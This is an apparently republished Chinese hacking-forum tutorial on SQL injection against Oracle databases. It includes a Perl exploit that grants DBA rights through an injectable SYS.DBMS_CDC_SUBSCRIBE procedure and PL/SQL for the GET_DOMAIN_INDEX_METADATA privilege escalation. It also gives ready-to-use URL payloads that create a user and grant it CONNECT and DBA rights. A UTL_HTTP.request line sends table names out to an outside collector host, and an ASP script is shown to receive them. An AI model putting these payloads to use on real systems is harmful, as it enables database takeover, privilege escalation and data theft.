ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

文章作者:kj021320
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。
author : kj021320
team: I.S.T.O
很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助
例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了!
但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看
ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持

OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!
SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了!
大家要是用PLSQL那些工具可以用; 来执行多个语句 !
那是因为工具上面帮你做了多个语句分别提交
ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少!
在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION
我拿一个MSSQL的函数作为例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了!
同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数
系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的
但是调用这些系统函数就可以获取相应的信息~
很容易理解ORACLE权限管理的机制

用户--->调用函数(继承函数创建者的权限)--->执行操作
那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等...

milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~
那就由我代劳翻印讲解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";

Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
    -h    <host>    target server address
    -s    <sid>      target sid name
    -u    <user>    user
    -p    <passwd>  password

-g|-r            (g)rant dba to user | (r)evoke dba from user
    [-P    <port>    Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
AUTHID CURRENT_USER AS 
PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; 
RETURN(0);
END;
} );

print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;

-------

以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是
GRANT DBA TO $user  把DBA权限授予某个用户!
然后到有存在注入的存储过程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数  );
因为
ACTIVATE_SUBSCRIPTION方法存在注射
所以会直接执行 own函数 去添加一个权限
这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多
具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章

以上原理介绍完了 开始实战!
记得 很多文章说要是SQL语句这样子写
sqlstr="begin select * from kj021320 where name=$name;end;";
可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档

在web 存在一个注射点
http://127.0.0.1:8080/VOA/test.jsp?id=282  数字型的
那么我们首先来确认这个用户的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在这里一个小细节
讲讲ORACLE的系统表部分
DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES
而一般用户都能查询
user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表!
一般注射软件只需要查询这两个表就可以获取用户的表结构了

回到上面的注射一般都会返回false的!
没关系其实有函数注射 权限对我们来说不重要~
那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器
那么我们采用
UTL_HTTP 这个包里面的 request函数
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看
ART OF WEB-SQL-INJECTION第1卷

那么我们怎么构造这个注射呢?很简单!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
这样子!
然而我们得构造一个页面接收请求的参数!ASP简单实现
<%
if request("data")="" then
  response.Write Application("oracle_data")
else
  dim dataValue
  dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
  if request("clear")<>"" then
  Application("oracle_data")=dataValue
  else
  Application("oracle_data")=Application("oracle_data") & dataValue
  end if
end if
%>
除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!

接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测!

节下来我就直接一点了!
拿出 06年国外公布的一个ODAY
GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息
就是这样而已,看当时的说明

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME 
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => 
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

具体注射点在第3个参数
我现在不采用函数形式
直接在里面插入SQL语句

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
这样就可以建立一个用户了!
我们构造SQL

http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
这样提交就会建立一个KJ021320用户 而密码也是KJ021320
可以了建立了用户也不行~~先给这个用户添加连接的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell
方法多的是!别说备份了!PRO*C  SQLJ都可以!接下来留给你们吧!

视频演示http://www.isto.cn/vedio/artwebinj-oracle.rar

PS:之前发了几篇MSSQL的利用都给superhei说有人发表过了!郁闷得很!看来偶不只是孤陋寡闻这么简单!发表时间还是个重点问题!呵呵!现在这篇估计国内暂时还没有人有发过了吧?可以叫自己一声 中国web sql injection in oralce 之父么~哈哈!装A完毕!-_-

(0)

相关推荐

  • ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

    文章作者:kj021320 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛. author : kj021320 team: I.S.T.O 很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助 例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废

  • SQL Injection with MySQL 注入分析

    声明 本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责,本文所有代码均为本人所写,所有数据均经过测试.绝对真实.如果有什么遗漏或错误,欢迎来安全天使论坛和我交流. 前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称

  • Advanced SQL Injection with MySQL

    文/图 安全天使·angel[BST] 前言 我的<SQL Injection with MySQL>(<黑客防线>7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于<SQL Injection with MySQL>的发表时间是在暑假期间,考虑到很多新手.学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完.专题发表后,

  • php SQL Injection with MySQL

    前言 2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的文章,我觉得还是有必要再说说其定义和原理.如果哪位高手已经达到炉火纯青的地步,不妨给本文挑点刺.权当指点小弟. 关于php+Mysql的注入 国

  • Discuz! 4.x SQL injection / admin credentials disclosure exploit

    前段时间发过Discuz! 5.0.0 GBK版本的EXP 今天在CN.Tink那里看到的4.x的,我去原站转了过来,然后找了个Discuz! 4.1.0测试了一下,成功,看下面截图,Discuz! 5.0.0 GBK版本的那个EXP又许多朋友不知道怎么用,当时我说了下,还是有朋友不明白,这次我截了图上来,不知道怎么用的朋友看下应该明白的. 图: 复制代码 代码如下: <?php print_r(' ------------------------------------------------

  • 用PHP函数解决SQL injection

    SQL injection问题在ASP上可是闹得沸沸扬扬当然还有不少国内外著名的PHP程序"遇难".至于SQL injection的详情,网上的文章太多了,在此就不作介绍.如果你网站空间的php.ini文件里的magic_quotes_gpc设成了off,那么PHP就不会在敏感字符前加上反斜杠(\),由于表单提交的内容可能含有敏感字符,如单引号('),就导致了SQL injection的漏洞.在这种情况下,我们可以用addslashes()来解决问题,它会自动在敏感字符前添加反斜杠.

  • vBulletin Forum 2.3.xx SQL Injection

    vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php. -------- Cut from line 585 in calendar.php ----------else if ($action == "edit"){      $eventinfo = $DB_site->query_first("SELECT allowsmilies,publ

  • SQL注入详解(扫盲篇)

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库.下面这篇文中就SQL注入进行一个深入的介绍,感兴趣的朋友们一起来看看吧. SQL注入攻击的总体思路 1.寻找到SQL注入的位置 2.判断服务器类型和后台数据库类型 3.针对不通的服务器和数据库特点进行SQL注入攻击 关于 SQL Injection(SQL注入) SQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服

  • Java Fluent Mybatis 分页查询与sql日志输出详解流程篇

    目录 前言 准备数据 Sql日志配置 官方分页查询 PageHelper分页查询 总结 前言 接着我上一章:Java Fluent Mybatis 项目工程化与常规操作详解流程篇 下 上一章我把项目做了一部分工程化包装,主要还是想要之后的调试能够方便一些.那么这一章接着上一章的内容,做一下查询分页,并且将每次请求所调用的sql语句写在日志里面,便于我们观察定位问题.代码之后还是会上传到github. GitHub代码仓库地址:GitHub仓库 准备数据 简单的准备了一些数据. Sql日志配置 之

  • 使用SQL语句查询MySQL,SQLServer,Oracle所有数据库名和表名,字段名

    MySQL中查询所有数据库名和表名 查询所有数据库 show databases; 查询指定数据库中所有表名 select table_name from information_schema.tables where table_schema='database_name' and table_type='base table'; 查询指定表中的所有字段名 select column_name from information_schema.columns where table_schema

随机推荐